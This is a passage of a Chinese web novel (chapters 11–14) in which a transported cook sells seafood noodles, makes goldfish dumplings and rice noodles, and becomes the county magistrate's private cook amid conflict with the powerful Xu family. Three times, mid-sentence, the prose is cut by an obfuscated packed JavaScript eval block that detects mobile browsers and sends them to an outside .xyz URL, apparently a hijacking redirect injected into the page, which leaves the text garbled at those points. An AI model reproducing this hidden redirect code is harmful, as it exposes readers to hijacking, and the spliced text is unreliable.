翌日清晨,云楚沅揣上全部家当,前往临海县的牙行,请租赁房屋的牙人为她寻一间铺子。 “小姐是要买铺子,并非租铺子是吗?”牙人略微思索,用手捋着下巴上那一撮短须,目光炯炯有神,带着一种精明能干的气质。 “怎么?不好找吗?”云楚沅忐忑不安地问道,万事俱备只欠东风,临门一脚了,总不至于寻不到做生意的店铺吧。 “非也,只是愿意整间卖出的铺子不是位置偏,就是房屋破旧,实在不是好选择啊。”牙人向她解释。 临海县繁华一点的街道,统统掌管在以徐家为首的富商手里,而且大生意都被他们垄断了,没权没势的平头老百姓怎么可能从他们手里讨到好处。 牙人没有直接拒绝,因为他最近收到了一则消息,东街一家卤味铺子被徐家的湘香馆使手段骗去了卤肉方子。 他们一家人准备搬离临海县,想要绝卖房子,唯一的要求就是不能卖给富绅,普通百姓没那个银钱来买,这云姑娘倒是个不错的接手者。 11. 县衙小厨娘 牙人告知云楚沅过几日再来一趟,说不定到时就有房屋售卖了。 云楚沅意兴盎然地来,败兴而归。没想到穿越到了古代,买房依然是个大难题。 第二日,云楚沅推着小推车来到东市她以往摆摊的位置,却发现已经被人占了。 “海鲜面!好吃的海鲜面,只要十文钱。” 这个小摊竟仿照她卖一模一样的面食,摊贩是个獐头鼠目的男子,摊位上摆放的食材和调料也和她的相像,就连海鲜面的卖相都差不多。 因他买的面便宜两文钱,倒是吸引了不少客人。 “哟,怎么不是以前的小娘子来卖面?” “嗐,我是她堂哥,她把海鲜面的活计交到我手上了。” 这不要脸面的小贩竟还打着她的旗号招揽客人,不明真相的人还以为海鲜面还是原来的味道,吃了一口才发现上当受骗。 云楚沅气不过,正想上前理论,这厮不仅利用她获利,还败坏她的口碑,以后还叫她怎么做生意。 “云小娘子!”卖包子的大娘一瞧见云楚沅气势汹汹的模样,就知晓她打算干嘛,连忙拽住她拉到了包子摊后。 “云小娘子,这几日你怎么没来摆摊?” 云楚沅死死地盯着卖面小贩,心不在焉地回道:“村里有些琐事处理。”她忙着出海和鱼塘养殖的事,确实已经有段时日没来县里卖吃食了。 包子摊的大娘忧心忡忡地劝道:“你有所不知,此人名唤孙大福,他妹妹是徐家少爷的通房丫鬟,孙大福平日里狗仗人势,没少干缺德事。云小娘子你还是忍一忍吧,省得被他报复。” 常言道,宁得罪君子,勿得罪小人。 云楚沅明白大娘的意思,这世道,有权有势的人说了算,她一介平民女子,直接对上这类人,无疑是蚍蜉撼树。 还有这徐家,真是阴魂不散啊,连府上丫鬟的亲属都自诩高人一等,那他们徐家人必然没少做伤天害理的事。 云楚沅在孙大福不远处的位置支起摊子,她今日准备了新的面食,既然不能正面和他对峙,那就凭实力打败他。 集市一隅,一口大锅立了起来,炉火烧得正旺,锅里沸腾的热水“咕嘟咕嘟”冒泡,升起的热气模糊了摊位后女子的面容,悠悠飘散向四周。 此刻的云楚沅正揉着案板上光滑的面团,反复摔打,“啪啪啪”的声响吸引了行人的目光。 云楚沅用左手托起面团,微微侧过身体,右手拿起特制的削面刀,手上的动作行云流水,刀片轻车熟路地在面团上游走,中间厚、两边薄的面片如同银鱼一般,簌簌飞至锅中。 “噗通噗通!”面片入水,溅起朵朵水花,它们在热汤中上下翻滚,似在水中翩翩起舞。 众人纷纷驻足围观,对这新鲜的面食感到好奇,未曾有人见过,这做面条还能像是杂耍一般引人入胜。 不多时,云楚沅用竹筷捞起面条,搁进粗瓷大碗之中,淋上提前做好的海鲜浇头。 一碗热气腾腾的海鲜刀削面就此诞生,这份面饱含市井烟火气,接二连三有人掏钱买面,他们端过碗去大快朵颐,脸上露出满足的表情。 云楚沅对自己做的刀削面胸有成竹,这刀削面需要硬质面团,用冷水和面,期间把控好粉与水的比例,加点盐增加面筋韧性,多次揉面和醒面来提高其延展性。 除此之外,削面的手法要快、准、狠,特制刀刃是弧形的,刀身与面团的夹角越小,面片越薄,反之愈厚。 削面时,每一刀都要压在前一刀一半之处,会形成边缘薄如蝉翼的柳叶形,右手匀速削面,左手转动面团,掌握好节奏,削出来的面片才能大小均匀。 这次的海鲜浇头比起以往,多加了云楚沅自制的蚝油,所以味道也更好了几分。 孙大福表情阴狠地盯着不远处的面摊,不由出声咒骂道:“呸,小蹄子,别得意,咱们走着瞧!” 云楚沅已经忙翻了天,不停重复着煮面、捞面的动作,哪有功夫注意到小人行径。 今日的生意比以往都要好,这表演削面的噱头博得了许多关注。 一走进东市的裴昱臣也被那空前热闹的场景吸引,他来此本是想看看百姓们有没有被先前悬挂的土匪头颅影响,顺便安抚一下人心。 不成想,一来就瞧见了如此盛况,显然死人的阴霾并没有影响商贩们的生意。 裴昱臣凑近一看,哟,还是熟人。 “云姑娘,生意不错呀。” 云楚沅抬头瞧见来人,扬起娇美的笑容,“我当是谁呢?原是咱们裴县令来体察民情来了。” 再见裴大人,他还是那样玉树临风、温文尔雅。 云楚沅动作麻利地做了一碗面,“我请大人吃新上的刀削面。” 裴昱臣从袖子里掏出铜板,放到小推车的木台上,说道:“为官之人,怎能占百姓的便宜,还请云姑娘收下。” 这人还是那样古板正经,云楚沅也不好逼人家打破原则,遂收下了铜钱。 “天哪,是裴县令,他竟也吃咱们东市的小吃。” “青天大老爷爱吃的面,味道一定不一般,我也要买一碗!” “别挤我,别挤我,让我近距离瞧瞧裴大人的英姿。” “哇,裴大人长得真英俊,不知可否婚配?” “切,就算县令大人未曾娶妻,也看不上你这卖猪肉的、五大三粗的女子。” 四周传来叽叽喳喳的议论声,不少路人都凑过来围观,再次带动了云楚沅面摊的生意。 云楚沅忙的脚不沾地,心想,这就是传说中的明星效应吗?原来古人也喜欢跟风啊。 “诸位,本官不欲造成集市拥堵,无事之人还望速速离去。”不苟言笑的裴昱臣还挺能唬人,他的一身官威吓退了不少人,方才还挤成一团的百姓们如潮水般褪去。 瞬间,云楚沅的摊位前空无一人,她都不知是该笑还是哭。 “裴大人威风凛凛,吓跑了我的食客们,该怎么负责?”云楚沅开了个玩笑,其实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716728|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的面已经买的差不多了,但她就是想逗逗这小书生,想看他惊慌失措是何等模样?这就是女人的恶趣味吧,喜欢反差萌。 裴昱臣板着脸,躬身作揖,慎重其事道:“是在下的不是,还望姑娘原谅则个。” 他顿了顿,继续道:“倘若云姑娘不嫌弃,可来县衙做事,我发给你和县衙的庖子同等的月钱,但姑娘只需为我一人偶尔做两道吃食便可。” 云楚沅来了兴趣,想不到这县令大人还准备给她安排长久工作呢,而且听他的说法,还是兼职,这倒新鲜。 “大人愿给多少月钱?” 裴昱臣略微一顿,道:“自是比不上姑娘摆摊卖吃食赚得多,一月五两银子,但姑娘可住在官舍之中,还可随意取用膳房内的食材。” 云楚沅轻抚着自己小巧的下巴,觉得这个提议还不错,这样一来,她往后有了个可以临时休息的住所,不必日日在小渔村和临海县来回奔波。 况且待食肆开起来,需常住在县城,她一个人便罢了,但她放心不下楚河和楚清,肯定要把他们一同接来县城,除了楚河偶尔跟着师傅出海时,他们再回小渔村住。 这样好处多多、还不累人的兼职哪里找去?裴县令真是个实在人,她一句玩笑话,就叫他妥协至此。 云楚沅笑着点头:“好,我愿意去县衙做厨娘。” 裴昱臣松了口气,不仅是因为有了补偿对方的办法而庆幸,还因为即将会摆脱县衙里难吃的膳食而窃喜。 他提出这个提议,确实存了私心,云姑娘的好手艺是他平生少见,就连他在京城有幸光顾过一次的醉仙楼,都望尘莫及。 云楚沅收摊之后,决定跟裴昱臣回县衙,先给他露一手,做一道益精补血的海带排骨汤。 经过小火慢炖的排骨汤,呈现出一种奶白色,排骨软烂,轻轻一扯,便从骨头上脱落下来,咀嚼起来软糯而有嚼劲。 墨绿的海带吸收了浓郁的肉汤,吃起来柔软而有韧性,同时可以中和掉猪肉的油腻。 裴昱臣轻轻抿一口汤,清甜鲜美的味道瞬间在口中散开,带着一股浓郁的油脂香。 肉汤顺着喉咙滑过,从胃到心感到一阵温暖而又舒适的感觉,仿佛给全身带来滋润和抚慰。 他细细品味,甚至还能回味到排骨的肉香和海带的鲜甜,相辅相成。 “裴大人,味道如何?”云楚沅坐在一旁,托着腮看向他,这人用膳也如此善心悦目,真应了那句话,秀色可餐。对着这张俊脸,她能多用两碗饭! “味道极好,云姑娘师承何处?莫非祖上出过御厨?”裴昱臣放下碗筷,动作优雅地用帕子轻拭嘴角。 “哈哈,也许吧。”云楚沅微微一笑,打着马虎眼。 一大碗海带排骨汤见底,这小书生看着不壮实,饭量倒是不小,也许和他练武有关,应当是那种精瘦的类型。 云楚沅的目光隐晦地扫视过他的腹部,裴昱臣尴尬地红了耳根。 云姑娘是嫌他太能吃了吗? 12. 水晶金鱼饺 离开县衙,云楚沅去西街的宋记粮铺买了些澄面,自打上次在徐记粮铺差点被徐公子轻薄后,云楚沅就不再去徐家名下的产业。 一方面是心里膈应,另一方面还是担心遇上那个纨绔被纠缠。 虽说她与舅母的官司被裴县令处理了后续,徐家人没再揪着不放,但云楚沅可不信徐公子会轻易放弃,指不定在背后憋什么坏招呢。 一朝被蛇咬,十年怕井绳,云楚沅如今都会随身揣着一把匕首,以防再遇上歹人。 这宋记粮铺虽位置不好,光顾的客人少,但他们的粮食种类繁多、质量上乘,云楚沅觉得奇怪,这么好的粮铺怎么在临海县鲜为人知? 云楚沅和铺子里的周掌柜交谈一番后方才得知,这宋记的主家是江南的大富商,周掌柜自幼跟着宋老爷走南闯北,现今年纪大了腿脚不好,遂决定返回家乡。 宋老爷感念他多年苦劳,出钱为他在老家临海县开了一家粮铺,定期派人送货。 临海县与江南相隔八百里,周掌柜心知跟主家这一别怕是再难相见,更别提临海县地处偏僻,交通不便,周掌柜将铺子冠上主家之姓,意在感恩戴德。 “周掌柜,你的粮铺可会遭徐家打压?”云楚沅轻声询问。 “这……实不相瞒,强龙不压地头蛇,起初确实如此。不想徐老爷从别处得知宋记粮铺的背后是江南的宋家,他才偃旗息鼓,想必我是沾了主家的光。”周掌柜感叹道。 云楚沅了然,徐家也就在这小县城称霸了,离了临海县啥也不是。 “掌柜的,你对徐家了解多少?他们莫非想要将生意做到江南?” 周掌柜抚摸着长髯:“确有此意,先前徐老爷还派人来邀我到府上做客,言语之间皆是让我为他和宋家主牵线搭桥之意。” “然后呢?周掌柜你不会应了吧。” “哪能啊,这徐家是临海县出了名的奸商,我断然不会答应,更何况宋老爷已经把宋家的生意交到大少爷手上了,哪里还有我这等老奴插话的份。” “老伯何必妄自菲薄?您离开主家后都能得此善待,想必年轻时乃宋家主的左膀右臂,能干的很。”云楚沅恭维道。 “哈哈,你这丫头,有两份眼力见儿,小老儿我年轻时帮主子管理万亩良田和众多铺子,也算是见多识广。”周掌柜笑得满脸皱纹,吹嘘起了自己的丰功伟绩,讲起生意经来头头是道。 “哇,老伯您是宋家的大管事啊,怪不得我第一眼就瞧着您不似一般人。”云楚沅恰到好处地接话,两人相谈甚欢。 云楚沅不动声色地将话题引到自己身上,“老伯,我刚当上县衙的厨娘,不知日后能在您这儿长期订购粮食吗?” 周掌柜疑惑道:“县衙应该专门有人负责采买吧。” “嗐,我是县令一人的小厨娘,自是想找更好的食材来做膳食,我踏遍临海县,就你们家的粮食价格公道、品质又好。”云楚沅杏眼含笑,她其实是在寻摸开食肆后的合作商,从米面酱醋到菜蔬荤腥,皆要长期订购,徐记自然不在她的考虑范围之内。 “哟,恕老夫眼拙,竟没看出姑娘是掌庖厨之人。”周掌柜好整以暇地重新打量了一下云楚沅,这小姑娘扶风弱柳、小家碧玉的模样太有欺骗性,实在看不出她是整日与灶台柴火打交道。 云楚沅眉眼带笑:“老伯,日后我还会开一间食肆,我看中你们宋记粮铺了,咱们可以签订契约长期合作。” 周掌柜老神在在道:“姑娘既是裴县令的人,这件事自是好说。” 与宋记粮铺的掌柜做下口头约定,云楚沅志得意满地离开了。 裴昱臣裴大县令的名头就是好用,她这算不算是多了个有权有势的靠山?虽然只是个七品芝麻小官,但也勉强够用。 回到小渔村的家中,刚申时三刻,小弟和小妹都不在家中,云楚沅收拾好院子,准备用新买来的澄面做水晶金鱼饺。 先用一锅水煮红苋菜,时间不必过长,顷刻后熄火,将红色的汁水装碗备用,红汁、澄粉和面粉拌好,加一点点盐,揉成光滑的面团后醒发一刻钟的时间,这样能使面团更柔软且有弹性。 桃粉色的面团醒发好后,切割成一个个小剂子,搓圆压扁,用擀面杖将其擀成中间厚、两边薄的圆形饺子皮。 金鱼饺的馅料是虾仁猪肉馅的,虾仁和菜蔬切成碎丁,混入猪肉沫中,酱油、盐、糖和胡椒粉调味。 云楚沅将圆皮置于掌心,中间放上一勺肉馅,将饺子皮从中间捏住,向上提起,两边对粘起。 靠前一端的皮用筷子头夹出连在一起的三个小孔,做成鱼嘴和鱼眼睛。而后捏紧中间靠后的位置,将馅料往身前推,把后面的皮按扁成扇形,用木梳压出花纹,修剪成鱼尾状。最后在鱼的两只眼睛孔里放上青豆或胡萝卜丁做装饰。 鱼的脊背处用铜镊子夹出背鳍,再在鱼眼后和靠近尾巴处的夹出腹鳍,成型的金鱼饺上蒸笼蒸半刻钟。 水晶饺子皮筋道又有弹性,内陷包含了虾仁的爽脆、猪肉的油润,以及菜蔬的清新,一口下去,口感丰富,层次分明。 金鱼饺造型精致、寓意吉祥,云楚沅想,若是再来个精致的摆盘,这道菜肴放到酒楼里去卖,不得要个好几两银子。 “哇,阿姐,这是什么?太好看了吧!”一蹦一跳进家门的云楚清一下就被吸引住了目光。 她用手臂扒住木桌边缘,下巴靠在左手背上,鼓起肉嘟嘟的腮帮,眨着灵动的眼眸,伸出右手食指,有一下没一下地虚空点着金鱼饺。 “这是金鱼虾饺,你尝尝。”云楚沅用筷子夹了一只金鱼饺递到小妹的嘴边。 云楚清没有动嘴,目不转睛地瞧着近在咫尺的虾饺,面带纠结地开口:“阿姐,小鱼太漂亮了,我舍不得吃……” “你不吃,那我可要吃了。”云楚沅收回筷子,作势要把金鱼饺塞进自己嘴里。 “啊,不要,阿姐,我吃我吃!”云楚清一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716729|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就急了,踮起脚尖去拉云楚沅的衣袖,将漂亮小鱼从虎口中拯救了出来。 酉时二刻,云家一家三口正如往常一般用饭,云楚沅吃相秀气,云楚河狼吞虎咽,唯独小妹云楚清迟迟不肯动筷,目光呆滞地盯着小碗里的金鱼饺。 “咚咚!”云楚沅看不下去,用筷子敲了敲她面前的瓷碗。 “再看也看不出朵花来,清儿,你再不吃,楚河可就全吃光了。” 云楚清回过神来,盘中的金鱼饺已经少了一大半,显然大多都进了哥哥的肚中,她赶紧夹了好几只进碗里,撅起嘴来抱怨道:“哥哥,你怎么不等我。” 云楚河抹了把嘴,大大咧咧道:“小妹,我以为你光看就能看饱呢。” 云楚清嗔怪地瞪了他一眼,小口小口地咬着金鱼饺,“我只是舍不得吃。” 云楚沅将自己碗里的金鱼饺夹给她,无奈笑笑:“往后我还会给你们做的,你要是真喜欢这小金鱼的造型,不妨把它绣到帕子上,这样你日日都能欣赏。” “阿姐,你真聪明!”云楚清眼睛一亮。 旁边的小弟撇撇嘴,小声嘀咕道:“就她那粗糙的针脚,绣出来的指不定是鱼怪呢?” 云楚清气鼓鼓地用小拳头轻捶了他一下,恼羞成怒道:“哥哥,你乱说什么呢!” “我可没乱说,你瞧瞧你帮我缝的袜子。”云楚河一把蹬掉自己的布鞋,露出来的灰袜上线头杂乱地冒出,针脚疏密不均、歪歪扭扭,看起来十分丑陋。 “噗嗤!”云楚沅捂着嘴笑出声,“哈哈,楚河,你待会把袜子脱下来,我重新帮你补一下。” 云楚清一脸尴尬:“哼,臭哥哥,我以后再也不帮你缝衣裳了!” 用过晚膳之后,云楚沅叫住想要往屋里跑的小妹,“等等走,阿姐有事要同你们说。” “什么事呀,阿姐?”云楚清乖乖坐下。 “我今日答应裴县令去做县衙的小厨娘,日后卖完吃食后可能会在县衙留宿,你们愿意跟我一起搬去县城吗?” 云楚沅正襟危坐,用平等的姿态和两人商量,她从来不会因为小弟和小妹是孩子而轻视他们,他们都有表达自己想法的权利。 云楚河先说道:“阿姐,你带小妹去吧,我隔三岔五就得跟着阿汤师傅出海,就不搬去县城住了,再者阿姐你的鱼塘也需要人看顾。” “这……你一个人怎么做饭呢?”云楚沅面露纠结。 “阿姐,我可以和师傅一起吃。” 云楚沅还是不太放心,“这样吧,我每隔一日就带小妹回来住。” “行,阿姐要是长久不回,我肯定会想念你的手艺的。”云楚河咧嘴笑,要不是跟着学打渔不能半途而废,他都想撂挑子不干跟她们一块走,转念一想,阿姐也不会喜欢不守信用之人。 “阿姐住哪,我就住哪。”云楚清没什么意见,她现在满门心思都放在绣帕子上,待会去向春香姐讨教讨教,小金鱼要怎么绣呢? 13. 鱼丸鸡汤米线 临海县县衙坐北朝南,内设三班六房,除县令外,有负责粮司和征税的县丞、掌管户籍和巡捕的主簿、掌管缉捕和监狱的典史。 云楚沅带着小妹来到衙门时,跟门房通报一声,就有下人将她们领了进去,穿过大门和仪门,先后经过大堂、二堂、三堂来到后宅。 裴县令给她安排的住所在西院,离膳房不远,云楚沅打量了一圈寝室,雕花木床上铺着素色锦缎,干净整洁,无一丝褶皱,显然有丫鬟提前收拾过。 中央摆放着木桌椅,墙角静静立着一个矮柜,还有灯台、衣架和面盆架这等摆设,再无其他,更多用品还是等她安顿下来后,慢慢添置吧。 好奇的云楚清四处逛了一圈,问道:“阿姐,我要睡在哪里?” 云楚沅只顾着整理包袱里的衣裳,倒是忘了这件事,不用问也知道,县衙也就只会给厨娘准备一间屋子,不可能连厨娘的家属也安排妥当,又不是做慈善的。 “小妹,夜里你跟我一起睡,这床塌容得下我们两人。” “嗯,好。”云楚清没觉得有什么不妥,村子里穷困人家子嗣众多,房屋住不下甚至会有五六个孩子挤在一张塌上睡的,这县衙里的瓦房可比小渔村的茅草房强多了,最起码不会漏风。 云楚沅解开另一个包袱,取出她自己做的蚝油等调料,这可是她的秘密武器,除此之外,还有一个食盒,里面放着她早上蒸好的金鱼饺。 初来乍到,将吃食分给县衙里的小官吏和下人,一方面可以快速拉进关系,另一方面也能向他们展示自己的手艺,好叫他们知晓她可是凭本事做上厨娘的,可不要瞧她是个年纪轻轻的小女子就轻视她。 云楚沅领着小妹走出西厢,往膳房走去,一路上遇到的人都会热情地送吃食,并表明自己的身份。 半信半疑的丫鬟小厮们在尝过她的手艺后无不称赞,直言县令大人慧眼识珠。 走至靠近县令宅院的西花厅时,云楚沅碰上了负责照顾裴县令起居的小厮青竹。 “云姑娘,久仰大名,大人常常念叨着姑娘做的吃食,如今请您来府上,可算是得偿所愿了。” 青竹年纪不大,瞧着也就十三四岁的模样,脸庞圆润,笑起来眼睛眯成了一条细缝,看着讨喜极了。 云楚沅将食盒的第二层打开,里面是一盘没人动过的金鱼饺,“青竹,你将这碟金鱼饺给裴大人送去吧,感谢他给我这个机会来县衙做厨娘。” 青竹双手接了过去,瞪大双眼惊叹道:“云姑娘好手艺,这小鱼做的栩栩如生。” 云楚沅微微一笑,打开食盒的上层,递给青竹,“这里还剩一只金鱼饺,你也尝尝吧。” 青竹双眼一亮,咽了咽口水,迫不及待地伸手拿起来,一下就丢进了嘴里,鼓着腮帮子嚼了嚼,“嗯!真好吃啊,百闻不如一见,云姑娘果真如裴大人所说,手艺妙极!” 弹牙的外皮包裹着油香的肉馅,咀嚼间还能尝到虾仁脆脆的口感,让人吃了一只还想吃,青竹眼神火热地盯着手中那份要给自家大人的金鱼饺,心想,大人可真有口福啊。 青竹走在回主院的石板路上魂不守舍,差点一头撞上书房的木门。 “叩叩叩!” 敲门声响起,打断了裴昱臣提着毛笔练字的动作。 “进来。” 青竹低着头恭敬的走进书房,站到书桌前回禀:“大人,云姑娘已经在西院安顿好了,这是她特意为您准备的吃食,名叫水晶金鱼饺,另托我向您道谢,云姑娘很高兴能成为您的厨娘。” 裴昱臣将手中的毛笔搁到黑石笔架上,目光投向青竹手里端着的精致吃食上,他眉梢微动,掩饰住自己心底的迫切,不紧不慢道:“哦?既是云姑娘的一片心意,端上来我瞧瞧。” 青竹连忙将那碟金鱼饺置于桌上,脸上带有意犹未尽之色,回味道:“大人,我尝过了,味道当真一绝!” 裴昱臣拿筷子的手一顿,面无表情地瞥了他一眼,声音冷淡地说道:“我还没吃,你就先尝过了?云姑娘到底是我的厨娘还是你的?” 青竹一下子噤声,小心翼翼地偷瞄了裴昱臣两眼,结结巴巴地开口:“大……大人,我不是头一个吃的,云姑娘已经给后宅的下人都分过了。” 裴昱臣脸色一黑,他亲自请来的厨娘,如今竟是便宜了外人,他都还没吃上珍味呢,下人们先尝过了,再则这一小碟五六只蒸饺,哪里够他塞牙缝的! “咳,以后不许他们这般没规矩,通知他们日后不许收云姑娘的吃食。” 青竹苦着一张脸应下,唉,以后怕是与云姑娘做的珍馐无缘了。 裴昱臣举止优雅地轻咬一口金鱼饺,咀嚼两口后微微顿住,脸上的表情没什么变化,叫人看不出他的情绪。 裴大人向来喜怒不形于色,如果忽略他加快了手上夹筷子的动作的话,还真叫人误以为裴大人不爱吃呢。 用完这碟蒸饺的裴县令用帕子擦了擦嘴,端起桌上沏好的茶水,轻抿一口,这一餐茶点甚合他的心意,他已经开始期待午膳了。 午时一刻,云楚沅准时抵达膳房,里面的大厨是上次有过一面之缘的朱师傅。 “云姑娘来了,上回一别,我就晓得我们会再见面的,没想到这么快。”朱师傅笑呵呵地抚摸着自己的大肚腩,这小姑娘必定和裴县令关系匪浅。 啧啧啧,给一人做吃食竟和他这位负责所有衙役膳食的疱子月钱一样,明显是醉翁之意不在酒啊,裴大人定是瞧上云姑娘了。 朱大厨自诩聪明,眼珠子一转,心想他可不是那等不识趣的人,撮合大人和心上人多相处是他该做的。 “云姑娘啊,我平日里要负责县衙里几十口人的膳食,做出来的大锅菜不合裴大人的口味,你来的正好,往后大人的一日三餐就交与你了。” 云楚沅没多想就应下了,虽然裴昱臣交代的是,偶尔给他做几道吃食打打牙祭,没有要求她负责三餐,但她每日都要用县衙的膳房,顺手为他多做一份也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721547|173747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不碍事。 “好,朱师傅你放心吧,只要我在县衙内,一定会亲自做裴大人的膳食。” 朱师傅欣慰地点头,裴大人已是弱冠之年,还未曾娶妻,这回有了心仪的女子,得抓住机会,近水楼台先得月,他就等着喝他们二人的喜酒了。 “朱师傅,劳烦您先帮我熬一锅鸡汤,我午膳打算做鱼丸鸡汤米线。” 膳房里泡着的粳米是朱师傅准备上锅蒸的,云楚沅取出来一小部分,倒入石磨中磨成细腻的米浆,这一步比较费劲,是膳房内的伙夫帮她磨好。 朱师傅在旁围观,出声说道:“要不我也跟着一起做米线吧,县衙里的小伙子们整日骂我做饭难吃,今日就给他们换个花样,还请云姑娘指点我两下。” “既如此,朱师傅就和我一起做吧,不过调味就由我来吧。”云楚沅将一罐蚝油放在桌上,这调料可是她自制的,就算这里人多眼杂,他们也学不去她的厨艺。 磨好的米浆用纱布筛去粗渣,再用石磨进行二次研磨,使其更加细腻顺滑,这样做出来的米线吃起来才会滑嫩。 铁盘上刷上油,倒入薄薄的一层米浆,旋转着晃动一圈,将米浆摇匀,上锅用大火蒸,待表面鼓起泡泡,便可将成型的米皮取出。 蒸熟的米皮稍微放凉后,用刀切成细长条,这便是湿米线。 接下来,云楚沅指挥着膳房的下人做起了鱼丸,取新鲜的黄花鱼处理干净,把鱼肉剁成肉糜,倒入葱姜水和盐捣成鱼泥,葱姜水多次少量地加入,每加一次就用手搅打上劲,使鱼肉将水充分吸收进去。 最后加淀粉搅拌均匀,用虎口挤出一个个小圆球,下入沸水煮熟,其色如瓷,颇有弹性。 灶上用老母鸡炖煮良久的鸡汤飘着一层黄油,用筷子夹出软烂脱骨的鸡肉,撕成鸡丝。 自制的米线和鱼丸送入金黄澄亮的鸡汤中,再烫一遍,使其吸收汤汁的鲜美,再添一把青菜,荤素搭配。 云楚沅对盛到碗里的米线进行调味,一勺酱油、一勺蚝油、半勺胡椒粉、半勺麻油,飘香四溢的鱼丸鸡汤米线馋的众人直咽口水。 朱师傅尝了一小碗,瞬间惊为天人,滑溜的米线与鲜美的鸡汤相结合,带来极致的味觉享受,浸润在美味鸡汤中的米线,吸饱了精华,一口接着一口,让人欲罢不能。 “啊,爽!”朱师傅将碗底的汤汁喝了个一干二净,将空碗重重置于桌上,他忙不迭又盛了一碗,“呼哧呼哧”地吃下。 旁边打下手的伙夫们眼神都直了,紧抿着嘴唇,不断咽口水。 “先按衙役的人数将米线盛好,若是锅里有剩,你们再分着吃吧。”云楚沅发话了,下人们手脚麻利地照做,最后锅里剩的米线一人还能吃上两口。 “哇!这是什么人间美味。” “这是我吃过最好吃的米线,太鲜了!” “啊,根本就没吃够呀,真希望以后日日都能吃到。” 下人们吃了两口米线,皆意犹未尽。 14. 口腹之欲 县衙二堂,裴昱臣正与手下的县丞、主簿等人议事,青竹走进来出声提醒:“各位大人,午膳时间到了,还请移步膳房。” 不惑之年的陈县丞摆了摆手,“唉,别催,我与县令大人还有要事相商。” 自裴昱臣上人以来,相继接手了衙门里的事宜,这临海县最大的难题就是穷,交不上税,久而久之,也得不到朝廷的重视。 在大燕朝,士绅可以免税免役,许多富商和地主会投机取巧,通过捐献、投献等方式,将田产挂在乡绅名下,借此逃避税收。 而历任县令贪腐严重,离任前销毁了账本,库房里的银钱寥寥无几,如今县衙都快入不敷出了。 裴昱臣近日对以徐家为首的富商们频频施压,催促他们按律法补齐应缴的赋税,否则就查封他们名下财产。 富商们却和稀泥,扬言上任县令在任时,他们都依法交税了,老县令贪腐和他们没关系。 这老县令早就卷铺盖走人了,留下这个烂摊子,裴昱臣上哪里去逮他? 徐家等人就是算准了裴昱臣没有证据,只能吃了这个哑巴亏,才会如此放肆。 裴昱臣沉思良久,还是没有头绪,以目前的情况来说,需要扶持新商户与徐家分庭抗礼,可临海县其他有点名气的商户不是被徐家排挤走了,就是以徐家马首是瞻,实在是没有好人选。 脾气火爆的梁捕头握紧拳头用力锤了一下桌子,怒气冲冲道:“该死的徐家人,真该千刀万剐!” 不怪梁铺头对徐家恨之入骨,他的长姐被徐二爷玷污,当时还是个小衙役的梁捕头怒发冲冠,提刀废了徐二爷的下身。 和徐家狼狈为奸的老县令不但不为他们梁家主持公道,还将他从县衙除名,之后梁家人就遭到了徐家的报复,要不是裴昱臣上任后慧眼识珠,将梁捕头重新召回,梁家也许就家破人亡了。 向来圆滑的许主簿出声宽慰:“梁铺头何必大动肝火,有咱们裴县令在,早晚能惩治徐家人。” 陈县丞眉头微皱,这姓许的就是个墙头草,谁的势大,他就向谁倒戈。 老县令在时,他就喜欢溜须拍马,捧徐家人的臭脚,金银财宝没少收。 若非县衙里缺人手,他早就向新县令禀明,将这种卑鄙小人撵走了。 裴昱臣坐在上位的太师椅上,将众人的神情尽收眼底,县衙的这班人马是他来到这里之后委任的。 陈县丞在衙门当了多年小吏,熟悉临海县的情况,可以重用。 梁捕头是个练家子的,嫉恶如仇,但只有匹夫之勇,还需调教。 而许主簿此人是裴昱臣故意留下的,他心里清楚这人是徐家的眼线,日后利用好了,说不定能反将一军。 “咳,既已到了用午膳的时辰,诸位就先将公务放一放吧。” 裴昱臣自打青竹进来通报后,谈公事的心思便淡了几分,既然一时半刻讨论不出个所以然,倒不如享用一顿美食转变一下心情。 可不是他馋嘴,而是民以食为天,填饱肚子才能更好地处理事务。 旁人并不能从面色如常的裴昱臣看出他的想法,还以为县令大人是在体恤下属。 许主簿抓住机会就阿谀奉承:“大人爱民如子,对下属关怀备至,能在大人您的手底下做事,小人倍感荣幸。” 陈县丞的八字胡微微抖动,嘴角抽了抽,这人要是能将嘴上功夫用在办实事上,何愁没有前途啊。 姿态豪放的梁捕头架腿而坐,翘起一脚,声如洪钟:“这么着急干嘛,膳房厨子的做的吃食和猪食有什么区别,哪有人抢着吃的。” 